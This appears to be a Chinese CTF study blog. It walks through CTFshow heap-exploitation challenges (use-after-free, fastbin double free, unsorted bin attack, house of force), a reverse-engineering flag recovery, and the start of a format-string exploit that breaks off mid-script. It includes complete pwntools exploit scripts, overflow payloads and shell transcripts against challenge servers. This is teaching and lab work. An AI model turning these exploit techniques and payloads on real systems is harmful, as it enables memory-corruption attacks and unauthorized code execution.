pwn 145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    * *************************************                           
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Why it can UAF(use after free) ?
* *************************************
演示glibc 的分配机制
glibc 使用首次适应算法选择空闲的堆块
如果有一个空闲堆块且足够大,那么 malloc 将选择它
如果存在 use-after-free 的情况那可以利用这一特性
首先申请两个比较大的 chunk
第一个 a = malloc(0x512) 在: 0x18f5260
第二个 b = malloc(0x256) 在: 0x18f5780
我们可以继续分配它
现在我们把 "AAAAAAAA" 这个字符串写到 a 那里
第一次申请的 0x18f5260 指向 AAAAAAAA
接下来 free 掉第一个...
接下来只要我们申请一块小于 0x512 的 chunk,那就会分配到原本 a 那里: 0x18f5260
第三次 c = malloc(0x500) 在: 0x18f5260
我们这次往里写一串 "CCCCCCCC" 到刚申请的 c 中
第三次申请的 c 0x18f5260 指向 CCCCCCCC
第一次申请的 a 0x18f5260 指向 CCCCCCCC
可以看到,虽然我们刚刚看的是 a 的,但它的内容却是 "CCCCCCCC"
sh
cat ctfshow_flag
ctfshow{3f139a53-9718-4b95-936c-a73c2296849b}

pwn146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Why it can UAF(use after free) ?
* *************************************
申请0x20大小的内存p1 的地址: 0x13ba010
把p1[1]赋值为Printf函数,然后打印出"Hello CTFshow"
Hello CTFshow

free 掉 p1
因为并没有置为null,所以p1[1]仍然是Printf函数,仍然可以输出打印了"Hello CTFshow again"
Hello CTFshow again
接下来再去malloc一个p2,会把释放掉的p1给分配出来,可以看到他俩是同一地址的
p2 的地址: 0x13ba010
p1 的地址: 0x13ba010
然后把p2[1]给改成demoflag也就是system函数

Then get the flag && enjoy it !

$sh
cat flag
ctfshow{5247ed61-a52c-4a9d-8dcd-53b8467a17ec}

pwn147

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Fastbin_dup -- Double free
* *************************************
演示 fastbin 的 double free
首先申请 3 个 chunk
第一个 malloc(8): 0x1b39010
第二个 malloc(8): 0x1b39030
第三个 malloc(8): 0x1b39050
free 掉第一个
当我们再次 free 0x1b39010 的时候, 程序将会崩溃因为 0x1b39010 在 free 链表的第一个位置上
我们先 free 0x1b39030.
现在我们就可以再次 free 0x1b39010 了, 因为他现在不在 free 链表的第一个位置上
现在空闲链表是这样的 [ 0x1b39010, 0x1b39030, 0x1b39010 ]. 如果我们 malloc 三次, 我们会得到两次 0x1b39010
第一次 malloc(8): 0x1b39010
第二次 malloc(8): 0x1b39030
第三次 malloc(8): 0x1b39010
$sh
cat flag
ctfshow{7dbdfb56-d36a-42a8-a804-0e990d4d61dc}

pwn148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Fastbin_dup_into_stack -- Double free
* *************************************
通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
通过 malloc 申请到 0x7ffe9bec2270.
先申请3 个 chunk
chunk a: 0x25dd010
chunk b: 0x25dd030
chunk c: 0x25dd050
free 掉 chunk a
如果还对 0x25dd010 进行 free, 程序会崩溃。因为 0x25dd010 现在是 fastbin 的第一个
先对 b 0x25dd030 进行 free
接下来就可以对 0x25dd010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x25dd010, 0x25dd030, 0x25dd010 ] 接下来通过修改 0x25dd010 上的内容来进行攻击.
第一次 malloc(8): 0x25dd010
第二次 malloc(8): 0x25dd030
现在 fastbin 表中只剩 [ 0x25dd010 ] 了
接下来往 0x25dd010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x25dd010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x25dd010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7ffe9bec2270
$sh
cat flag
ctfshow{f7fdefd4-fab4-4a29-96b0-8ccb6f648dc1}

pwn149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
linkpwn@linkpwn-VMware-Virtual-Platform:~$ nc pwn.challenge.ctf.show 28266
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Fastbin_dup_consolidate
* *************************************
申请两个 fastbin 范围内的 chunk: p1=0x197a010 p2=0x197a030
先 free p1
去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=0x197a050
因为 malloc_consolidate(), p1 会被放到 unsorted bin 中
这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free
现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: 0x197a010 0x197a010
$sh
cat flag
ctfshow{2f30058c-812f-4649-9b5d-6298c5144bba}

写着写着发现一直写这个营养价值太低了,先停下把,以后发现了营养再来写。

unsorted bin attack

原理学习:unsorted bin attack就是能把某个地址的值改成很大,但是这个很大的值又不可控。(这里的ctfshow的pwn144涉及到了这个手法,但是不完全,以后碰到在接着总结)

pwn144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 114514 )
{
if ( (unsigned __int64)magic <= 0x1BF52 ) //修改magic大于0x1BF52即可达到后门函数
{
puts("So sad !");
}
else
{
puts("Congrt !");
TaT(); //后门函数
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[4]; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[v1], v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}

edit函数没检查修改的chunk的大小可以进行对下一个堆的覆盖。

攻击思路:

  1. 先申请三个堆块,chunk0,chunk1,chunk2; chunk0用来改chunk1,chunk2用来隔开top_chunk
  2. 将chunk1的bk改成magic的地址-0x10(bk指向的是chunk的其实地址,我们要把magic的地址放入data的位置)
  3. 我们把chunk1放入unsorted bin,然后再申请一样大小的堆,就可以将magic改成一个很大的值。

攻击原理:利用 malloc 从 Unsorted Bin 中取出一个 chunk(称为 victim)时,对 Unsorted Bin 双向链表进行的拆链操作。通过篡改 victim->bk 指针,欺骗分配器,让它错误地更新链表,从而将 target 地址误认为是链表中的一个合法 chunk 的起始位置(chunk header),并将 main_arena 中指向 Unsorted Bin 的指针写入这个“伪造 chunk”的 fd 字段。

这里附一个关键步骤详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
1.准备 Victim Chunk 并放入 Unsorted Bin:

申请一个稍大的 chunk(例如大于 fastbin 的最大值)。

释放这个 chunk,使其进入 Unsorted Bin。

重要前提: 在攻击发生的时刻,Unsorted Bin 中最好只有这一个 chunk(victim),或者有多个大小完全相同的 chunk(且攻击目标是其中之一)。这样 victim->fd 和 victim->bk 都会直接指向 main_arena 中管理 Unsorted Bin 的头部指针 bin->bk 和 bin->fd,而不是其他 chunk。


2.篡改 Victim->bk:

利用堆漏洞(如 UAF、堆溢出)修改 victim chunk 的 bk 指针。

将 victim->bk 设置为 target - 0x10 (在 64 位系统上) 或 target - 0x8 (在 32 位系统上)。

为什么是 target - 0x10 (64位)?

Unsorted Bin 是一个管理 空闲 chunk 的双向链表。

链表中每个节点的指针(fd 和 bk)指向的是 其他空闲 chunk 的 header 起始地址 (chunk header)。

chunk header 在 64 位系统上通常是 0x10 字节(包含 size/prev_size 和 flags 字段)。

我们希望 malloc 返回后,target 地址处被写入那个巨大的值(即 target 被当作用户数据区 mem 的起始地址)。

为了让分配器认为 target 地址处有一个合法的 chunk,我们需要在 target - 0x10 处伪造一个 chunk header。这样:

伪造 chunk 的 header 地址 = target - 0x10

伪造 chunk 的用户数据区 (mem) 地址 = (target - 0x10) + 0x10 = target

所以,我们将 victim->bk 设置为 target - 0x10,就是在告诉分配器:“Unsorted Bin 中,victim 的下一个空闲 chunk(后向 chunk)的 header 位于 target - 0x10”。


3.触发分配 (malloc) - 拆链操作:

申请一个大小合适的 chunk(通常是和 victim 大小相同或满足 victim 分割条件的 size)。这会触发分配器从 Unsorted Bin 中取出 victim。

分配器执行标准的双向链表移除操作 (拆链):

c
// 伪代码表示关键的拆链步骤 (基于 glibc 源码简化)
bck = victim->bk; // 步骤 (a):bck = target - 0x10
bin->bk = bck; // 步骤 (a):Unsorted Bin 的 bk 指针更新为 target - 0x10
bck->fd = bin; // 步骤 (b):关键写入发生在这里!
步骤 (a): bin->bk = victim->bk = target - 0x10

分配器将 Unsorted Bin 的尾部指针 (bin->bk) 更新为 victim->bk 的值,也就是 target - 0x10。这意味着分配器现在认为 Unsorted Bin 中最后一个 chunk 的 header 在 target - 0x10。

步骤 (b): bck->fd = bin

bck 就是上一步得到的 target - 0x10。

bck->fd 表示“位于 target - 0x10 的这个伪造 chunk”的 fd 指针。

bin 是 main_arena 中管理 Unsorted Bin 的头部指针地址(它是一个很大的 libc 地址)。

这是攻击的核心写入点! 分配器将 bin (那个很大的 libc 地址) 写入到 (target - 0x10) + offset_of(fd) 的位置。

在 chunk 结构中,fd 位于 header 起始地址偏移 0x10 字节处(紧跟在 size 字段之后)。

写入地址 = (target - 0x10) + 0x10 = target。

因此,巨大的值 bin (main_arena 地址) 被写入了 target 地址处。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import * 
count=1
gdb_flag=0
if count==0:
r=process('./pwn')
else:
r=remote('pwn.challenge.ctf.show',28127)
if gdb_flag==1:
gdb.attach(io)
def cmd(x):
r.recvuntil(b'Your choice :')
r.sendline(str(x))
def add(size,data):
cmd(1)
r.recvuntil(b'Size of Heap : ')
r.sendline(str(size))
r.recvuntil(b'Content of heap:')
r.sendline(data)
def delete(index):
cmd(3)
r.recvuntil(b'Index :')
r.sendline(str(index))
def edit(index,size,data):
cmd(2)
r.recvuntil(b'Index :')
r.sendline(str(index))
r.recvuntil(b'Size of Heap : ')
r.sendline(str(size))
r.recvuntil(b'Content of heap : ')
r.send(data)
add(0x80,b'aaaa')
add(0x80,b'bbbb')
add(0x80,b'cccc')
delete(1)
target=0x6020a0
payload=b'x'*(0x90-0x10)+p64(0)+p64(0x91)+p64(0)+p64(target-0x10)
edit(0,len(payload),payload)
add(0x80,b'dddd')
cmd(114514)
r.interactive()
1
2
gdb.attach(r)
pause #可以加这个调试看看,这里就不演示了

house of force

原理:

  1. 核心目标: 将 Top Chunk 移动到任意可控地址,从而允许后续从该地址分配“堆块”,实现对该地址及其之后内存的任意读写。
  2. 攻击原理: 利用 malloc 在从 Top Chunk 分配内存时,仅根据用户请求的大小 nb 和当前 Top Chunk 的大小 top_size 来更新 Top Chunk 位置的机制(new_top = old_top + nb)。通过篡改 Top Chunk 的 size 字段为一个极大值(通常是 -1,即 0xFFFFFFFFFFFFFFFF),并精心构造一个超大的 nb,使得计算出的 new_top 指向攻击者期望的目标地址。
  3. 使用前提:
    1. 堆块大小控制自由: 攻击者能够申请任意大小的堆块(malloc(nb) 中的 nb 可以非常大)。
    2. Top Chunk Size 篡改: 存在漏洞(通常是堆溢出)允许攻击者覆盖 Top Chunk 的 size 字段,将其修改为一个极大的值(例如 0xFFFFFFFFFFFFFFFF)。
    3. 地址信息已知(通常需要):攻击者需要知道:
      • 当前 Top Chunk 的地址 (old_top):用于计算所需的偏移量。
      • 目标地址 (target_addr): 希望将 Top Chunk 移动到的地址。
    4. 特殊情况 - 仅需偏移量: 如果目标地址 (target_addr) 本身位于堆内存区域内(例如,想要覆盖堆上的某个特定结构体或指针),那么攻击者不一定需要知道 old_toptarget_addr 的绝对地址。只需要知道它们之间的偏移量 (offset = target_addr - old_top) 即可。这在某些堆布局已知或可控的场景下是可行的。

例题:

ctfshow pwn143

edit()存在漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-24h]
int v2; // [rsp+10h] [rbp-20h]
char buf[8]; // [rsp+18h] [rbp-18h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020A8 + 2 * v1) )
{
printf("Please enter the length of name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name:");
*(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * v1) + (int)read(0, *((void **)&unk_6020A8 + 2 * v1), v2)) = 0;
}
else
{
puts("Invaild index");
}
}
else
{
puts("Nothing here~");
}
return __readfsqword(0x28u) ^ v5;
}

这个edit函数没有检查输入长度的大小,完全由自己决定,存在堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn fffffffffffffffffffffffffffffffffflag()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}

存在后门函数。

所以我利用堆溢出,把top_chunk的size改成极大值,再把v4[1]的地址换成后门函数的地址就可以得到flag了,(为什么是v4[1]呢,因为

执行edit前都会执行v4[1],把v4[1]的地址换成后门函数的地址,就可以执行后门函数了)。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

# 设置运行环境
context(arch='amd64', os='linux', log_level='debug')

# 三种连接方式,按需启用
p = remote('pwn.challenge.ctf.show', 28219) # 远程连接
#p = process('./pwn') # 本地运行
# p = gdb.debug('./pwn', 'b main') # GDB调试

# 加载二进制文件
elf = ELF('./pwn')
# 获取flag符号的地址(目标覆盖地址)
flag_addr = elf.sym['fffffffffffffffffffffffffffffffffflag']

def menu(index):
p.sendlineafter('Your choice:', str(index))

def add(length, content):
menu(2)
p.sendlineafter('Please enter the length:', str(length))
p.sendlineafter('Please enter the name:', content)

def edit(index, length, content):
menu(3)
p.sendlineafter('Please enter the index:', str(index))
p.sendlineafter('Please enter the length of name:', str(length))
p.sendlineafter('Please enter the new name:', content)

def delete(index):
menu(4)
p.sendlineafter('Please enter the index:', str(index))

def exit_prog():
menu(5)

# ===== 漏洞利用流程 =====

# 1. 创建初始chunk
add(0x30, 'chunk0') # 分配0x40大小的chunk(含头部)

# 2. 修改top chunk大小
# 覆盖top chunk的size字段为极大值(0xFFFFFFFFFFFFFFFF)
# 布局: [chunk0数据(0x30)] + [填充(0x8)] + [size字段(0x8)]
payload = b'A'*0x38 + p64(0xffffffffffffffff)
edit(0, len(payload), payload)

# 3. 计算负偏移实现指针回退
# 偏移计算: flag_addr - (top_chunk_addr + 0x10)
# 实际计算: -(0x60 + 0x8 + 0xf) = -0x77 (需根据实际调试调整)
offset = -(0x60 + 0x8 + 0xf)
add(offset, 'trigger') # 申请负大小chunk触发整数溢出

# 4. 在目标地址分配chunk
# 此时top chunk指针已回退到flag_addr附近
# 分配0x10大小的chunk,其数据区将位于flag_addr处
add(0x10, p64(flag_addr)*2) # 用flag地址覆盖目标内存

# 5. 触发flag读取
exit_prog() # 退出程序(可能触发flag输出)

# 获取交互控制权
p.interactive()

再动调中更容易理解

add(0x30, ‘chunk0’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x91fd000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x91fd290
Size: 0x20 (with flag bits: 0x21) //v4

Allocated chunk | PREV_INUSE
Addr: 0x91fd2b0
Size: 0x40 (with flag bits: 0x41) //add(0x30, 'chunk0')

Top chunk | PREV_INUSE
Addr: 0x91fd2f0
Size: 0x20d10 (with flag bits: 0x20d11)
1
2
3
4
5
pwndbg> x/30gx 0x91fd290
0x91fd290: 0x0000000000000000 0x0000000000000021
0x91fd2a0: 0x0000000000400857 0x0000000000400876
0x91fd2b0: 0x0000000000000000 0x0000000000000041
0x91fd2c0: 0x000a306b6e75686 0x0000000000000000 //chunk0
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x0400857
00:0000│ 0x400857 (hello_message) ◂— push rbp //hello_message起始地址
01:0008│ 0x40085f (hello_message+8) ◂— or byte ptr [rax], al
02:0010│ 0x400867 (hello_message+16) ◂— lea rdi, [rip + 0x823]
03:0018│ 0x40086f (hello_message+24) ◂— pop rbp
04:0020│ 0x400877 (goodbye_message+1) ◂— mov rbp, rsp
05:0028│ 0x40087f (goodbye_message+9) ◂— add byte ptr [rax], al
06:0030│ 0x400887 (goodbye_message+17) ◂— pop rbp
07:0038│ 0x40088f (menu+6) ◂— cmp eax, 0x82d
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x400876
00:0000│ 0x400876 (goodbye_message) ◂— push rbp //goodbye_message起始地址
01:0008│ 0x40087e (goodbye_message+8) ◂— or byte ptr [rax], al
02:0010│ 0x400886 (goodbye_message+16) ◂— nop
03:0018│ 0x40088e (menu+5) ◂— lea edi, [rip + 0x82d]
04:0020│ 0x400896 (menu+13) ◂— 0x83e3d8d48fffffe
05:0028│ 0x40089e (menu+21) ◂— add byte ptr [rax], al
06:0030│ 0x4008a6 (menu+29) ◂— lea edi, [rip + 0x815]
07:0038│ 0x4008ae (menu+37) ◂— 0x8433d8d48fffffe

edit(0, len(payload), payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x91fd000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x91fd290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x91fd2b0
Size: 0x40 (with flag bits: 0x41)

Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x91fd2f0
Size: 0xfffffffffffffff8 (with flag bits: 0xffffffffffffffff) //top_chunk的size改变了

由于我的libc版本较高,检查到堆溢出可能就崩掉了就无法继续了。远程可以打通

这里我就接着解释一些数据怎么来的

1
2
3
4
0x30:这个没什么要求换成其他数据也可以
0x38: 0x91fd2f0 - 0x91fd2b0 = 0x40,0x40 - 0x16(chunk0的header) + 0x08(top的pre_size) = 0x30
-(0x60 + 0x8 + 0xf):0x91fd2f0 - 0x91fd290 = 0x60,top和v4的header的距离 ,0x8 + 0xf和强制对齐有关
0x10:v4[0]和v4[1]正好0x10,换成比0x10大的数据都可以

强制对齐操作的公式是

1
nb = ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK
  • **req**:用户调用 malloc(req) 时申请的数据大小(即用户需要的内存字节数)。

  • **SIZE_SZ**:在 64 位系统中为 0x8(表示 sizeof(size_t))。它常被理解为 chunk 头部(header)大小的一部分,但实际上,header 总大小为 2 * SIZE_SZ = 0x10 字节(包括 prev_sizesize 字段)。

  • **MALLOC_ALIGN_MASK**:在 64 位系统中为 0xf(十六进制),对应内存对齐掩码。内存对齐要求通常是 16 字节(即 MALLOC_ALIGN = 16),所以掩码为 16 - 1 = 15(即 0xf)。

  • **nb**:输出的值,表示实际分配的 chunk 总大小(包括 header 和用户数据区域)。

  • offset = -0x77 对应 malloc 参数为 0xffffffffffffff89

  • 对齐后实际分配大小:(0xffffffffffffff89 + 8 + 15) & ~15 = 0xffffffffffffffa0

  • 使top chunk回退 0x60 字节

开始网鼎杯的jocker学习

1

修复sp

2

3

4

可是encrypt函数还是进不去

5

这是个smc动调解密函数,进入函数后从text:00401500的定义头道endp进行u(undefine)再在定义头p重定义函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __cdecl __noreturn encrypt(char *a1)
{
int v1[19]; // [esp+1Ch] [ebp-6Ch] BYREF
int v2; // [esp+68h] [ebp-20h]
int i; // [esp+6Ch] [ebp-1Ch]

v2 = 1;
qmemcpy(v1, &unk_403040, sizeof(v1));
for ( i = 0; i <= 18; ++i )
{
if ( (char)(a1[i] ^ Buffer[i]) != v1[i] )
{
puts("wrong ~");
v2 = 0;
exit(0);
}
}
puts("come here");
}

得到加密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 预定义的 unk_403040 数组
unk_403040 = [
0x0E, 0x0D, 0x09,
0x06, 0x13,
0x05, 0x58, 0x56,
0x3E, 0x06,
0x0C, 0x3C, 0x1F,
0x57, 0x14,
0x6B, 0x57, 0x59,
0x0D
]

# Buffer 字符串
buffer_str = 'hahahaha_do_you_find_me?'
# 解密过程
decrypted = ''
for i in range(len(unk_403040)):
# 异或操作
decrypted_char = chr(unk_403040[i] ^ ord(buffer_str[i]))
decrypted += decrypted_char

print("Decrypted string:", decrypted)
#Decrypted string: flag{d07abccf8a410c

得到了一半flag,我们刚刚分析的时候有个finally的函数进去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl finally(char *a1)
{
unsigned int v1; // eax
__time32_t *Time; // [esp+0h] [ebp-28h]
char v4[9]; // [esp+13h] [ebp-15h] BYREF
int v5; // [esp+1Ch] [ebp-Ch]

strcpy(v4, "%tp&:");
v1 = time(0);
srand(v1);
v5 = rand() % 100;
v4[6] = 0;
*(_WORD *)&v4[7] = 0;
if ( (v4[(unsigned __int8)v4[5]] != a1[(unsigned __int8)v4[5]]) == v5 )
return puts((const char *)Time);
else
return puts("I hide the last part, you will not succeed!!!");
}

根据最后一个字符 ‘}’ 猜测

1
2
3
4
5
6
7
8
9
10
11
12
13
encrypted = "%tp&:"
known_plaintext = '}'
known_ciphertext = encrypted[-1] # ':'

# 计算异或密钥
key = ord(known_ciphertext) ^ ord(known_plaintext)
print(f"找到密钥: {key}")

# 解密整个字符串
decrypted = ''.join(chr(ord(c) ^ key) for c in encrypted)
print(f"解密后的字符串: {decrypted}")
#找到密钥: 71
#解密后的字符串: b37a}
1
flag{d07abccf8a410cb37a}

进行格式化字符串专题的加强,先写一个题目,再重温一下知识点进行总结一下。

TGCTF fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome TGCTF!");
printf("your gift %p\n", buf); //泄露出
puts("please tell me your name");
read(0, buf, 0x30uLL); //没有栈溢出
if ( magic == 1131796 )
{
printf(buf); //存在格式化字符串漏洞
magic = 0;
}
return 0;
}

只有一个格式化字符串漏洞,也只有一个读入。先去查看一下保护

1
2
3
4
5
6
7
8
9
10
(myenv) linkpwn@linkpwn-VMware-Virtual-Platform:~$ checksec pwn
[*] '/home/linkpwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

没有开启pie,canary开启了,但是我们没用到栈溢出,所以我们不用管canary

因此这个题目的攻击思路就是,先利用格式化字符串泄露libc的基地址,然后再利用one_gadget.。

首先我们利用格式化字符串泄露libc的地址,同时也要利用格式化字符串写入one_gadget。

要利用两次格式化字符串的话,我们就不能让函数执行到 magic = 0;,所以我们必须把printf_ret的地址覆盖为read的地址,方便下次

的读入。

泄露出libc_start_main+xxx的地址可以计算出libc的基地址。

再用one_get工具查出execve(/bin/sh)的偏移,在用格式化字符串漏洞将返回地址写成execve(/bin/sh)的地址就可以getshell了

现在开始正式开始攻击

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

# ================ 配置与初始化 ================
context(log_level='debug', arch='amd64', os='linux')
io = process('./pwn') # 本地调试
#io = remote('ip', port) # 远程连接

elf = ELF('./pwn')
libc = ELF('libc.so.6')

# ================ 泄露栈地址 ================
io.recvuntil(b'0x')
stack_addr = int(io.recv(12), 16)
info(f"Stack address: {hex(stack_addr)}")

# ================ 第一次格式化字符串攻击:泄露 libc 地址 ================
payload = b"%4669c%11$hn" # 控制写入低 2 字节
payload += b"%19$p" # 泄露 __libc_start_main 地址
